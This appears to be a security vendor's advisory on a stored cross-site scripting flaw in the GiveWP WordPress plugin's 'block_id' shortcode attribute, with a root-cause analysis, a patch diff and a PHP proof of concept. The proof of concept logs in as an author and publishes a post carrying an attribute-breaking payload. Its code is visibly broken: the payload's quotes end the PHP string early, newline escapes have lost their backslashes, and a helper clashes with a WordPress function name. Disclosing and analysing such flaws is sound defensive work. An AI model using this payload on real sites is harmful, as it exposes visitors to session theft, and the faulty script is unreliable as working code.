Published : July 4, 2026

CVE-2026-13246: GiveWP <= 4.16.0 Authenticated (Author+) Stored Cross-Site Scripting via 'block_id' Shortcode Attribute PoC, Patch Analysis & Rule

Plugin give
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 4.16.0
Patched Version 4.16.1
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13246: This vulnerability allows authenticated attackers with author-level access or higher to inject arbitrary web scripts through the GiveWP Donation Plugin. The stored cross-site scripting occurs via the ‘block_id’ shortcode attribute in the ‘givewp_campaign_comments’ shortcode. The CVSS score is 6.4, indicating medium severity.

The root cause lies in insufficient input sanitization and output escaping within two functions. In CampaignCommentsShortcode::parseAttributes() (src/Campaigns/Shortcodes/CampaignCommentsShortcode.php, line 78), the block_id attribute is cast to a string without sanitization. This unsanitized value flows into BlockRenderController::render() (src/Campaigns/Blocks/CampaignComments/Controller/BlockRenderController.php, lines 20-24). Here, the blockId is interpolated directly into a single-quoted HTML attribute without esc_attr(). The vulnerable code builds a div with ‘data-givewp-campaign-comments’ and ‘data-attributes’ attributes using unsafe string concatenation.

Exploitation requires the attacker to have author-level access or higher. The attacker crafts a malicious shortcode using the ‘givewp_campaign_comments’ shortcode with a crafted ‘block_id’ attribute. The payload must be designed to break out of the single-quoted HTML attribute context. For example, the attribute value ‘ onload=’alert(1)’ would inject an event handler. The shortcode can be placed in a post or page. When any user accesses that page, the injected script executes in their browser.

The patch implements two critical fixes. In CampaignCommentsShortcode::parseAttributes(), the block_id value now passes through sanitize_key() which strips all non-alphanumeric characters and underscores. In BlockRenderController::render(), the patch replaces direct string interpolation with sprintf() and applies esc_attr() to all three attributes including blockId, secondaryColor, and encodedAttributes. The esc_attr() function encodes special characters like single quotes, preventing attribute injection. The patch also moves the esc_attr() call from the render.php to the controller, ensuring consistent escaping.

Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of any user viewing the affected page. This can lead to session hijacking, defacement, redirection to malicious sites, or credential theft. Author-level access provides a sufficient attack surface as these users can create and publish posts with shortcodes. The vulnerability affects all sites running GiveWP versions up to and including 4.16.0.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/give/build/Campaigns/Blocks/CampaignComments/render.php
+++ b/give/build/Campaigns/Blocks/CampaignComments/render.php
@@ -15,6 +15,4 @@
     return;
 }

-$secondaryColor = esc_attr($campaign->secondaryColor ?? '#27ae60');
-
-echo (new BlockRenderController())->render($attributes, $secondaryColor);
+echo (new BlockRenderController())->render($attributes, $campaign->secondaryColor ?? '#27ae60');
--- a/give/give.php
+++ b/give/give.php
@@ -6,7 +6,7 @@
  * Description: The most robust, flexible, and intuitive way to accept donations on WordPress.
  * Author: GiveWP
  * Author URI: https://givewp.com/
- * Version: 4.16.0
+ * Version: 4.16.1
  * Requires at least: 6.6
  * Requires PHP: 7.4
  * Text Domain: give
@@ -426,7 +426,7 @@
     {
         // Plugin version.
         if (!defined('GIVE_VERSION')) {
-            define('GIVE_VERSION', '4.16.0');
+            define('GIVE_VERSION', '4.16.1');
         }

         // Plugin Root File.
--- a/give/includes/admin/emails/class-email-access-email.php
+++ b/give/includes/admin/emails/class-email-access-email.php
@@ -257,6 +257,7 @@
 		 * @param int    $donor_id Donor ID.
 		 * @param string $email    Donor Email.
 		 *
+		 * @since 4.16.1 Return false instead of wp_die when donor is not found.
 		 * @since  2.0
 		 * @access public
 		 *
@@ -265,14 +266,8 @@
 		public function setup_email_notification( $donor_id, $email ) {
 			$donor = Give()->donors->get_donor_by( 'email', $email );

-			if ( ! $donor->id ) {
-				wp_die(
-					esc_html__( 'Cheatin’ uh?', 'give' ),
-					esc_html__( 'Error', 'give' ),
-					array(
-						'response' => 400,
-					)
-				);
+			if ( ! is_object( $donor ) || ! $donor->id ) {
+				return false;
 			}

 			$this->recipient_email = $email;
--- a/give/includes/ajax-functions.php
+++ b/give/includes/ajax-functions.php
@@ -672,6 +672,7 @@
 /**
  * Send Confirmation Email For Complete Donation History Access.
  *
+ * @since 4.16.1 Always return a uniform success response regardless of donor existence or throttle state.
  * @since 1.8.17
  *
  * @return bool
@@ -689,68 +690,30 @@
 	}

 	$donor = Give()->donors->get_donor_by( 'email', give_clean( $_POST['email'] ) );
-	if ( Give()->email_access->can_send_email( $donor->id ) ) {
-		$return     = [];
-		$email_sent = Give()->email_access->send_email( $donor->id, $donor->email );
-
-		$return['status'] = 'success';
-
-		if ( ! $email_sent ) {
-			$return['status']  = 'error';
-			$return['message'] = Give_Notices::print_frontend_notice(
-				__( 'Unable to send email. Please try again.', 'give' ),
-				false,
-				'error'
-			);
-		}
-
-		/**
-		 * Filter to modify access mail send notice
-		 *
-		 * @since 2.1.3
-		 *
-		 * @param string Send notice message for email access.
-		 *
-		 * @return  string $message Send notice message for email access.
-		 */
-		$message = (string) apply_filters( 'give_email_access_mail_send_notice', __( 'Please check your email and click on the link to access your complete donation history.', 'give' ) );
-
-		$return['message'] = Give_Notices::print_frontend_notice(
-			$message,
-			false,
-			'success'
-		);
-
-	} else {
-		$value            = Give()->email_access->verify_throttle / 60;
-		$return['status'] = 'error';
-
-		/**
-		 * Filter to modify email access exceed notices message.
-		 *
-		 * @since 2.1.3
-		 *
-		 * @param string $message email access exceed notices message
-		 * @param int $value email access exceed times
-		 *
-		 * @return string $message email access exceed notices message
-		 */
-		$message = (string) apply_filters(
-			'give_email_access_requests_exceed_notice',
-			sprintf(
-				__( 'Too many access email requests detected. Please wait %s before requesting a new donation history access link.', 'give' ),
-				sprintf( _n( '%s minute', '%s minutes', $value, 'give' ), $value )
-			),
-			$value
-		);
-
-		$return['message'] = Give_Notices::print_frontend_notice(
-			$message,
-			false,
-			'error'
-		);
+	if ( is_object( $donor ) && Give()->email_access->can_send_email( $donor->id ) ) {
+		Give()->email_access->send_email( $donor->id, $donor->email );
 	}

+	$return            = [];
+	$return['status']  = 'success';
+
+	/**
+	 * Filter to modify access mail send notice
+	 *
+	 * @since 2.1.3
+	 *
+	 * @param string Send notice message for email access.
+	 *
+	 * @return  string $message Send notice message for email access.
+	 */
+	$message = (string) apply_filters( 'give_email_access_mail_send_notice', __( 'Please check your email and click on the link to access your complete donation history.', 'give' ) );
+
+	$return['message'] = Give_Notices::print_frontend_notice(
+		$message,
+		false,
+		'success'
+	);
+
 	echo json_encode( $return );
 	give_die();
 }
--- a/give/src/Campaigns/Blocks/CampaignComments/Controller/BlockRenderController.php
+++ b/give/src/Campaigns/Blocks/CampaignComments/Controller/BlockRenderController.php
@@ -10,16 +10,18 @@
 class BlockRenderController
 {
     /**
+     * @since 4.16.1 escape attribute values in block markup
      * @since 4.0.0
      */
     public function render(array $attributes, string $secondaryColor): string
     {
         $blockAttributes = BlockAttributes::fromArray($attributes);

-        $encodedAttributes = json_encode($blockAttributes->toArray());
-
-        $blockId = $blockAttributes->blockId;
-
-        return "<div id='givewp-campaign-comments-block-{$blockId}' data-secondary-color='{$secondaryColor}' data-givewp-campaign-comments data-attributes='{$encodedAttributes}'></div>";
+        return sprintf(
+            "<div id='givewp-campaign-comments-block-%s' data-secondary-color='%s' data-givewp-campaign-comments data-attributes='%s'></div>",
+            esc_attr((string) $blockAttributes->blockId),
+            esc_attr($secondaryColor),
+            esc_attr((string) json_encode($blockAttributes->toArray()))
+        );
     }
 }
--- a/give/src/Campaigns/Blocks/CampaignComments/render.php
+++ b/give/src/Campaigns/Blocks/CampaignComments/render.php
@@ -15,6 +15,4 @@
     return;
 }

-$secondaryColor = esc_attr($campaign->secondaryColor ?? '#27ae60');
-
-echo (new BlockRenderController())->render($attributes, $secondaryColor);
+echo (new BlockRenderController())->render($attributes, $campaign->secondaryColor ?? '#27ae60');
--- a/give/src/Campaigns/Shortcodes/CampaignCommentsShortcode.php
+++ b/give/src/Campaigns/Shortcodes/CampaignCommentsShortcode.php
@@ -57,6 +57,7 @@
     }

     /**
+     * @since 4.16.1 sanitize block_id from shortcode attributes
      * @since 4.5.0
      */
     private function parseAttributes($atts): array
@@ -75,7 +76,7 @@
         ], $atts, 'givewp_campaign_comments');

         return [
-            'blockId'         => (string) $atts['block_id'],
+            'blockId'         => sanitize_key((string) $atts['block_id']),
             'campaignId'      => (int) $atts['campaign_id'],
             'title'           => (string) $atts['title'],
             'showAnonymous'   => filter_var($atts['show_anonymous'], FILTER_VALIDATE_BOOLEAN),
--- a/give/vendor/composer/installed.php
+++ b/give/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'impress-org/give',
-        'pretty_version' => '4.16.0',
-        'version' => '4.16.0.0',
-        'reference' => '00d2329461c83bc4f0e30b2a14318ab09baab4d3',
+        'pretty_version' => '4.16.1',
+        'version' => '4.16.1.0',
+        'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'impress-org/give' => array(
-            'pretty_version' => '4.16.0',
-            'version' => '4.16.0.0',
-            'reference' => '00d2329461c83bc4f0e30b2a14318ab09baab4d3',
+            'pretty_version' => '4.16.1',
+            'version' => '4.16.1.0',
+            'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13246 - GiveWP <= 4.16.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'block_id' Shortcode Attribute

/**
 * This PoC demonstrates how an authenticated author can inject XSS via the 'block_id' attribute.
 * Prerequisites:
 * - WordPress site with GiveWP plugin version <= 4.16.0
 * - Valid author-level credentials (username/password)
 * - A valid campaign ID (integer) exists on the site
 */

$target_url = 'https://example.com'; // Change this to target WordPress URL
$username = 'author_user';           // Valid author credentials
$password = 'author_password';       // Author password
$campaign_id = 1;                    // Target campaign ID

// Step 1: Login to WordPress
$login_url = $target_url . '/wp-login.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Create a new post with the malicious shortcode
// The payload breaks out of the single-quoted id attribute and executes JavaScript
// Original id attribute: id='givewp-campaign-comments-block-BLOCKID'
// Payload: x' onload='alert(document.cookie)' tabindex='
// This produces: id='givewp-campaign-comments-block-x' onload='alert(document.cookie)' tabindex=''

$post_url = $target_url . '/wp-admin/post-new.php';
$post_data = [
    'post_title' => 'XSS Test - CVE-2026-13246',
    'post_content' => '[givewp_campaign_comments campaign_id="' . $campaign_id . '" block_id="x' onload='alert(document.cookie)' tabindex='" title="Test" show_anonymous="true"]',
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => '',  // Will fetch nonce from response
    'action' => 'editpost',
    'original_post_status' => 'auto-draft'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
curl_close($ch);

// Extract auto-draft post ID and nonce from the response
preg_match('/post=([0-9]+)/', $response, $post_id_matches);
preg_match('/"_wpnonce" value="([^"]+)"/', $response, $nonce_matches);

if (empty($post_id_matches[1]) || empty($nonce_matches[1])) {
    die('[!] Could not extract post ID or nonce from the response.n');
}

$post_id = $post_id_matches[1];
$nonce = $nonce_matches[1];
$post_data['_wpnonce'] = $nonce;
$post_data['post_ID'] = $post_id;

// Post the update to publish
$publish_url = $target_url . '/wp-admin/post.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $publish_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Verify the post is published and contains the XSS payload
$post_url = get_permalink($post_id); // Simplified - fetch actual permalink
echo "[+] Post published. View at: $target_url/?p=$post_idn";
echo "[+] If vulnerability exists, viewing this page triggers JavaScript alert with cookies.n";

function get_permalink($post_id) {
    global $target_url;
    return $target_url . '/?p=' . $post_id;
}
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.